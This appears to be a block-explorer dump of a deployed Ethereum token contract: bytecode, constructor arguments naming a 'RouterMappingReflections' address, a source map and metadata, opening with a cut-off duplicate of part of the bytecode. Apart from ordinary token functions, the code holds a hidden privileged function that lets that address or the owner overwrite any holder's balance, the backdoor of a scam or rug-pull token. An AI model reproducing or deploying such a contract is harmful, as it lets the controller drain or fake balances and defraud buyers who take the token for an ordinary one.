0815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106fc5760405162461bcd60e51b815260206004820152601e60248201527f5472616e736665722066726f6d20746865207a65726f2061646472657373000060448201526064016103d5565b6001600160a01b0382166107525760405162461bcd60e51b815260206004820152601c60248201527f5472616e7366657220746f20746865207a65726f20616464726573730000000060448201526064016103d5565b6001600160a01b0383165f90815260066020526040902054818110156107ba5760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220616d6f756e7420657863656564732062616c616e63650060448201526064016103d5565b6107c48282610a81565b6001600160a01b038086165f9081526006602052604080822093909355908516815290812080548492906107f9908490610b99565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051391815260200190565b336108575f546001600160a01b031690565b6001600160a01b0316146104115760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d5565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610947575f80fd5b919050565b5f806040838503121561095d575f80fd5b61096683610931565b946020939093013593505050565b5f805f60608486031215610986575f80fd5b61098f84610931565b925061099d60208501610931565b929592945050506040919091013590565b5f602082840312156109be575f80fd5b6109c782610931565b9392505050565b5f80604083850312156109df575f80fd5b6109e883610931565b91506109f660208401610931565b90509250929050565b5f805f8060808587031215610a12575f80fd5b610a1b85610931565b966020860135965060408601359560600135945092505050565b600181811c90821680610a4957607f821691505b602082108103610a6757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561030957610309610a6d565b6001815b6001841115610acf57808504811115610ab357610ab3610a6d565b6001841615610ac157908102905b60019390931c928002610a98565b935093915050565b5f82610ae557506001610309565b81610af157505f610309565b8160018114610b075760028114610b1157610b2d565b6001915050610309565b60ff841115610b2257610b22610a6d565b50506001821b610309565b5060208310610133831016604e8410600b8410161715610b50575081810a610309565b610b5c5f198484610a94565b805f1904821115610b6f57610b6f610a6d565b029392505050565b5f6109c78383610ad7565b808202811582820484141761030957610309610a6d565b8082018082111561030957610309610a6d56fea2646970667358221220ca69fa151e0ec3eed8fbac50e1552d0c7994441e1876245e7faf6864a3fb309b64736f6c634300081a0033000000000000000000000000f825d66589e4ab363bbf867a7d1c7beb4b4ff7dd000000000000000000000000000000000000000000000000000009184e72a000

0x608060405234801561000f575f80fd5b50600436106100ef575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb146101fc578063dd62ed3e1461020f578063e920436514610247578063f2fde38b1461025a575f80fd5b806370a08231146101b4578063715018a6146101dc5780638da5cb5b146101e457806395d89b41146101f4575f80fd5b806318160ddd116100ce57806318160ddd1461015b57806323b872dd1461016d578063313ce567146101805780635a120a761461019f575f80fd5b8062ebc21b146100f357806306fdde0314610123578063095ea7b314610138575b5f80fd5b600154610106906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61012b61026d565b60405161011a91906108fc565b61014b61014636600461094c565b6102f9565b604051901515815260200161011a565b6005545b60405190815260200161011a565b61014b61017b366004610974565b61030f565b60045461018d9060ff1681565b60405160ff909116815260200161011a565b6101b26101ad3660046109ae565b61035f565b005b61015f6101c23660046109ae565b6001600160a01b03165f9081526006602052604090205490565b6101b2610400565b5f546001600160a01b0316610106565b61012b610413565b61014b61020a36600461094c565b610420565b61015f61021d3660046109ce565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6101b26102553660046109ff565b61042c565b6101b26102683660046109ae565b610521565b6002805461027a90610a35565b80601f01602080910402602001604051908101604052809291908181526020018280546102a690610a35565b80156102f15780601f106102c8576101008083540402835291602001916102f1565b820191905f5260205f20905b8154815290600101906020018083116102d457829003601f168201915b505050505081565b5f61030533848461059a565b5060015b92915050565b5f61031b8484846106a6565b6001600160a01b0384165f90815260076020908152604080832033808552925290912054610355918691610350908690610a81565b61059a565b5060019392505050565b610367610845565b6001600160a01b0381166103de5760405162461bcd60e51b815260206004820152603360248201527f4e657720526f757465724d617070696e675265666c656374696f6e732063616e6044820152726e6f74206265207a65726f206164647265737360681b60648201526084015b60405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b610408610845565b6104115f6108ad565b565b6003805461027a90610a35565b5f6103053384846106a6565b6001546001600160a01b031633148061044e57505f546001600160a01b031633145b6104b25760405162461bcd60e51b815260206004820152602f60248201527f43616c6c6572206973206e6f7420526f757465724d617070696e675265666c6560448201526e31ba34b7b7399037b91037bbb732b960891b60648201526084016103d5565b6104bc8183610b77565b6104c69084610b82565b6001600160a01b0385165f818152600660205260408082209390935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105139087815260200190565b60405180910390a350505050565b610529610845565b6001600160a01b03811661058e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103d5565b610597816108ad565b50565b6001600160a01b0383166105f05760405162461bcd60e51b815260206004820152601d60248201527f417070726f76652066726f6d20746865207a65726f206164647265737300000060448201526064016103d5565b6001600160a01b0382166106465760405162461bcd60e51b815260206004820152601b60248201527f417070726f766520746f20746865207a65726f2061646472657373000000000060448201526064016103d5565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106fc5760405162461bcd60e51b815260206004820152601e60248201527f5472616e736665722066726f6d20746865207a65726f2061646472657373000060448201526064016103d5565b6001600160a01b0382166107525760405162461bcd60e51b815260206004820152601c60248201527f5472616e7366657220746f20746865207a65726f20616464726573730000000060448201526064016103d5565b6001600160a01b0383165f90815260066020526040902054818110156107ba5760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220616d6f756e7420657863656564732062616c616e63650060448201526064016103d5565b6107c48282610a81565b6001600160a01b038086165f9081526006602052604080822093909355908516815290812080548492906107f9908490610b99565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051391815260200190565b336108575f546001600160a01b031690565b6001600160a01b0316146104115760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d5565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610947575f80fd5b919050565b5f806040838503121561095d575f80fd5b61096683610931565b946020939093013593505050565b5f805f60608486031215610986575f80fd5b61098f84610931565b925061099d60208501610931565b929592945050506040919091013590565b5f602082840312156109be575f80fd5b6109c782610931565b9392505050565b5f80604083850312156109df575f80fd5b6109e883610931565b91506109f660208401610931565b90509250929050565b5f805f8060808587031215610a12575f80fd5b610a1b85610931565b966020860135965060408601359560600135945092505050565b600181811c90821680610a4957607f821691505b602082108103610a6757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561030957610309610a6d565b6001815b6001841115610acf57808504811115610ab357610ab3610a6d565b6001841615610ac157908102905b60019390931c928002610a98565b935093915050565b5f82610ae557506001610309565b81610af157505f610309565b8160018114610b075760028114610b1157610b2d565b6001915050610309565b60ff841115610b2257610b22610a6d565b50506001821b610309565b5060208310610133831016604e8410600b8410161715610b50575081810a610309565b610b5c5f198484610a94565b805f1904821115610b6f57610b6f610a6d565b029392505050565b5f6109c78383610ad7565b808202811582820484141761030957610309610a6d565b8082018082111561030957610309610a6d56fea2646970667358221220ca69fa151e0ec3eed8fbac50e1552d0c7994441e1876245e7faf6864a3fb309b64736f6c634300081a0033

000000000000000000000000f825d66589e4ab363bbf867a7d1c7beb4b4ff7dd000000000000000000000000000000000000000000000000000009184e72a000

-----Decoded View---------------
Arg [0] : _RouterMappingReflections (address): 0xF825D66589E4AB363BbF867A7D1C7beb4b4fF7dD
Arg [1] : initialSupply (uint256): 10000000000000

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000f825d66589e4ab363bbf867a7d1c7beb4b4ff7dd
Arg [1] : 000000000000000000000000000000000000000000000000000009184e72a000

26259:3865:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26302:39;;;;;-1:-1:-1;;;;;26302:39:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;26302:39:0;;;;;;;;26360:32;;;:::i;:::-;;;;;;;:::i;27888:161::-;;;;;;:::i;:::-;;:::i;:::-;;;1293:14:1;;1286:22;1268:41;;1256:2;1241:18;27888:161:0;1128:187:1;27321:102:0;27403:12;;27321:102;;;1466:25:1;;;1454:2;1439:18;27321:102:0;1320:177:1;28057:298:0;;;;;;:::i;:::-;;:::i;26439:25::-;;;;;;;;;;;;2053:4:1;2041:17;;;2023:36;;2011:2;1996:18;26439:25:0;1881:184:1;29714:285:0;;;;;;:::i;:::-;;:::i;:::-;;27431:121;;;;;;:::i;:::-;-1:-1:-1;;;;;27526:18:0;27499:7;27526:18;;;:9;:18;;;;;;;27431:121;30017:104;;;:::i;25508:87::-;25554:7;25581:6;-1:-1:-1;;;;;25581:6:0;25508:87;;26399:33;;;:::i;27560:167::-;;;;;;:::i;:::-;;:::i;27735:145::-;;;;;;:::i;:::-;-1:-1:-1;;;;;27845:18:0;;;27818:7;27845:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;27735:145;29301:399;;;;;;:::i;:::-;;:::i;25852:201::-;;;;;;:::i;:::-;;:::i;26360:32::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;27888:161::-;27965:4;27982:37;27991:10;28003:7;28012:6;27982:8;:37::i;:::-;-1:-1:-1;28037:4:0;27888:161;;;;;:::o;28057:298::-;28191:4;28208:36;28218:6;28226:9;28237:6;28208:9;:36::i;:::-;-1:-1:-1;;;;;28284:19:0;;;;;;:11;:19;;;;;;;;28272:10;28284:31;;;;;;;;;28255:70;;28264:6;;28284:40;;28318:6;;28284:40;:::i;:::-;28255:8;:70::i;:::-;-1:-1:-1;28343:4:0;28057:298;;;;;:::o;29714:285::-;25467:13;:11;:13::i;:::-;-1:-1:-1;;;;;29829:41:0;::::1;29821:105;;;::::0;-1:-1:-1;;;29821:105:0;;3924:2:1;29821:105:0::1;::::0;::::1;3906:21:1::0;3963:2;3943:18;;;3936:30;4002:34;3982:18;;;3975:62;-1:-1:-1;;;4053:18:1;;;4046:49;4112:19;;29821:105:0::1;;;;;;;;;29937:24;:54:::0;;-1:-1:-1;;;;;;29937:54:0::1;-1:-1:-1::0;;;;;29937:54:0;;;::::1;::::0;;;::::1;::::0;;29714:285::o;30017:104::-;25467:13;:11;:13::i;:::-;30083:30:::1;30110:1;30083:18;:30::i;:::-;30017:104::o:0;26399:33::-;;;;;;;:::i;27560:167::-;27640:4;27657:40;27667:10;27679:9;27690:6;27657:9;:40::i;29301:399::-;26717:24;;-1:-1:-1;;;;;26717:24:0;26703:10;:38;;:63;;-1:-1:-1;25554:7:0;25581:6;-1:-1:-1;;;;;25581:6:0;26745:10;:21;26703:63;26695:123;;;;-1:-1:-1;;;26695:123:0;;4344:2:1;26695:123:0;;;4326:21:1;4383:2;4363:18;;;4356:30;4422:34;4402:18;;;4395:62;-1:-1:-1;;;4473:18:1;;;4466:45;4528:19;;26695:123:0;4142:411:1;26695:123:0;29581:33:::1;29596:18:::0;29581:11;:33:::1;:::i;:::-;29552:63;::::0;:25;:63:::1;:::i;:::-;-1:-1:-1::0;;;;;29528:21:0;::::1;;::::0;;;:9:::1;:21;::::0;;;;;:87;;;;29633:59;;::::1;::::0;::::1;::::0;29666:25;1466::1;;1454:2;1439:18;;1320:177;29633:59:0::1;;;;;;;;29301:399:::0;;;;:::o;25852:201::-;25467:13;:11;:13::i;:::-;-1:-1:-1;;;;;25941:22:0;::::1;25933:73;;;::::0;-1:-1:-1;;;25933:73:0;;6356:2:1;25933:73:0::1;::::0;::::1;6338:21:1::0;6395:2;6375:18;;;6368:30;6434:34;6414:18;;;6407:62;-1:-1:-1;;;6485:18:1;;;6478:36;6531:19;;25933:73:0::1;6154:402:1::0;25933:73:0::1;26017:28;26036:8;26017:18;:28::i;:::-;25852:201:::0;:::o;28931:358::-;-1:-1:-1;;;;;29059:19:0;;29051:61;;;;-1:-1:-1;;;29051:61:0;;6763:2:1;29051:61:0;;;6745:21:1;6802:2;6782:18;;;6775:30;6841:31;6821:18;;;6814:59;6890:18;;29051:61:0;6561:353:1;29051:61:0;-1:-1:-1;;;;;29131:21:0;;29123:61;;;;-1:-1:-1;;;29123:61:0;;7121:2:1;29123:61:0;;;7103:21:1;7160:2;7140:18;;;7133:30;7199:29;7179:18;;;7172:57;7246:18;;29123:61:0;6919:351:1;29123:61:0;-1:-1:-1;;;;;29197:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;29249:32;;1466:25:1;;;29249:32:0;;1439:18:1;29249:32:0;;;;;;;28931:358;;;:::o;28369:549::-;-1:-1:-1;;;;;28501:20:0;;28493:63;;;;-1:-1:-1;;;28493:63:0;;7477:2:1;28493:63:0;;;7459:21:1;7516:2;7496:18;;;7489:30;7555:32;7535:18;;;7528:60;7605:18;;28493:63:0;7275:354:1;28493:63:0;-1:-1:-1;;;;;28575:23:0;;28567:64;;;;-1:-1:-1;;;28567:64:0;;7836:2:1;28567:64:0;;;7818:21:1;7875:2;7855:18;;;7848:30;7914;7894:18;;;7887:58;7962:18;;28567:64:0;7634:352:1;28567:64:0;-1:-1:-1;;;;;28668:17:0;;28644:21;28668:17;;;:9;:17;;;;;;28704:23;;;;28696:67;;;;-1:-1:-1;;;28696:67:0;;8193:2:1;28696:67:0;;;8175:21:1;8232:2;8212:18;;;8205:30;8271:33;8251:18;;;8244:61;8322:18;;28696:67:0;7991:355:1;28696:67:0;28794:22;28810:6;28794:13;:22;:::i;:::-;-1:-1:-1;;;;;28774:17:0;;;;;;;:9;:17;;;;;;:42;;;;28827:20;;;;;;;;:30;;28851:6;;28774:17;28827:30;;28851:6;;28827:30;:::i;:::-;;;;;;;;28892:9;-1:-1:-1;;;;;28875:35:0;28884:6;-1:-1:-1;;;;;28875:35:0;;28903:6;28875:35;;;;1466:25:1;;1454:2;1439:18;;1320:177;25603:130:0;25678:10;25667:7;25554;25581:6;-1:-1:-1;;;;;25581:6:0;;25508:87;25667:7;-1:-1:-1;;;;;25667:21:0;;25659:66;;;;-1:-1:-1;;;25659:66:0;;8683:2:1;25659:66:0;;;8665:21:1;;;8702:18;;;8695:30;8761:34;8741:18;;;8734:62;8813:18;;25659:66:0;8481:356:1;26061:191:0;26135:16;26154:6;;-1:-1:-1;;;;;26171:17:0;;;-1:-1:-1;;;;;;26171:17:0;;;;;;26204:40;;26154:6;;;;;;;26204:40;;26135:16;26204:40;26124:128;26061:191;:::o;222:418:1:-;371:2;360:9;353:21;334:4;403:6;397:13;446:6;441:2;430:9;426:18;419:34;505:6;500:2;492:6;488:15;483:2;472:9;468:18;462:50;561:1;556:2;547:6;536:9;532:22;528:31;521:42;631:2;624;620:7;615:2;607:6;603:15;599:29;588:9;584:45;580:54;572:62;;;222:418;;;;:::o;645:173::-;713:20;;-1:-1:-1;;;;;762:31:1;;752:42;;742:70;;808:1;805;798:12;742:70;645:173;;;:::o;823:300::-;891:6;899;952:2;940:9;931:7;927:23;923:32;920:52;;;968:1;965;958:12;920:52;991:29;1010:9;991:29;:::i;:::-;981:39;1089:2;1074:18;;;;1061:32;;-1:-1:-1;;;823:300:1:o;1502:374::-;1579:6;1587;1595;1648:2;1636:9;1627:7;1623:23;1619:32;1616:52;;;1664:1;1661;1654:12;1616:52;1687:29;1706:9;1687:29;:::i;:::-;1677:39;;1735:38;1769:2;1758:9;1754:18;1735:38;:::i;:::-;1502:374;;1725:48;;-1:-1:-1;;;1842:2:1;1827:18;;;;1814:32;;1502:374::o;2070:186::-;2129:6;2182:2;2170:9;2161:7;2157:23;2153:32;2150:52;;;2198:1;2195;2188:12;2150:52;2221:29;2240:9;2221:29;:::i;:::-;2211:39;2070:186;-1:-1:-1;;;2070:186:1:o;2261:260::-;2329:6;2337;2390:2;2378:9;2369:7;2365:23;2361:32;2358:52;;;2406:1;2403;2396:12;2358:52;2429:29;2448:9;2429:29;:::i;:::-;2419:39;;2477:38;2511:2;2500:9;2496:18;2477:38;:::i;:::-;2467:48;;2261:260;;;;;:::o;2526:541::-;2612:6;2620;2628;2636;2689:3;2677:9;2668:7;2664:23;2660:33;2657:53;;;2706:1;2703;2696:12;2657:53;2729:29;2748:9;2729:29;:::i;:::-;2719:39;2827:2;2812:18;;2799:32;;-1:-1:-1;2928:2:1;2913:18;;2900:32;;3031:2;3016:18;3003:32;;-1:-1:-1;2526:541:1;-1:-1:-1;;;2526:541:1:o;3072:380::-;3151:1;3147:12;;;;3194;;;3215:61;;3269:4;3261:6;3257:17;3247:27;;3215:61;3322:2;3314:6;3311:14;3291:18;3288:38;3285:161;;3368:10;3363:3;3359:20;3356:1;3349:31;3403:4;3400:1;3393:15;3431:4;3428:1;3421:15;3285:161;;3072:380;;;:::o;3457:127::-;3518:10;3513:3;3509:20;3506:1;3499:31;3549:4;3546:1;3539:15;3573:4;3570:1;3563:15;3589:128;3656:9;;;3677:11;;;3674:37;;;3691:18;;:::i;4558:375::-;4646:1;4664:5;4678:249;4699:1;4689:8;4686:15;4678:249;;;4749:4;4744:3;4740:14;4734:4;4731:24;4728:50;;;4758:18;;:::i;:::-;4808:1;4798:8;4794:16;4791:49;;;4822:16;;;;4791:49;4905:1;4901:16;;;;;4861:15;;4678:249;;;4558:375;;;;;;:::o;4938:902::-;4987:5;5017:8;5007:80;;-1:-1:-1;5058:1:1;5072:5;;5007:80;5106:4;5096:76;;-1:-1:-1;5143:1:1;5157:5;;5096:76;5188:4;5206:1;5201:59;;;;5274:1;5269:174;;;;5181:262;;5201:59;5231:1;5222:10;;5245:5;;;5269:174;5306:3;5296:8;5293:17;5290:43;;;5313:18;;:::i;:::-;-1:-1:-1;;5369:1:1;5355:16;;5428:5;;5181:262;;5527:2;5517:8;5514:16;5508:3;5502:4;5499:13;5495:36;5489:2;5479:8;5476:16;5471:2;5465:4;5462:12;5458:35;5455:77;5452:203;;;-1:-1:-1;5564:19:1;;;5640:5;;5452:203;5687:42;-1:-1:-1;;5712:8:1;5706:4;5687:42;:::i;:::-;5765:6;5761:1;5757:6;5753:19;5744:7;5741:32;5738:58;;;5776:18;;:::i;:::-;5814:20;;4938:902;-1:-1:-1;;;4938:902:1:o;5845:131::-;5905:5;5934:36;5961:8;5955:4;5934:36;:::i;5981:168::-;6054:9;;;6085;;6102:15;;;6096:22;;6082:37;6072:71;;6123:18;;:::i;8351:125::-;8416:9;;;8437:10;;;8434:36;;;8450:18;;:::i

ipfs://ca69fa151e0ec3eed8fbac50e1552d0c7994441e1876245e7faf6864a3fb309b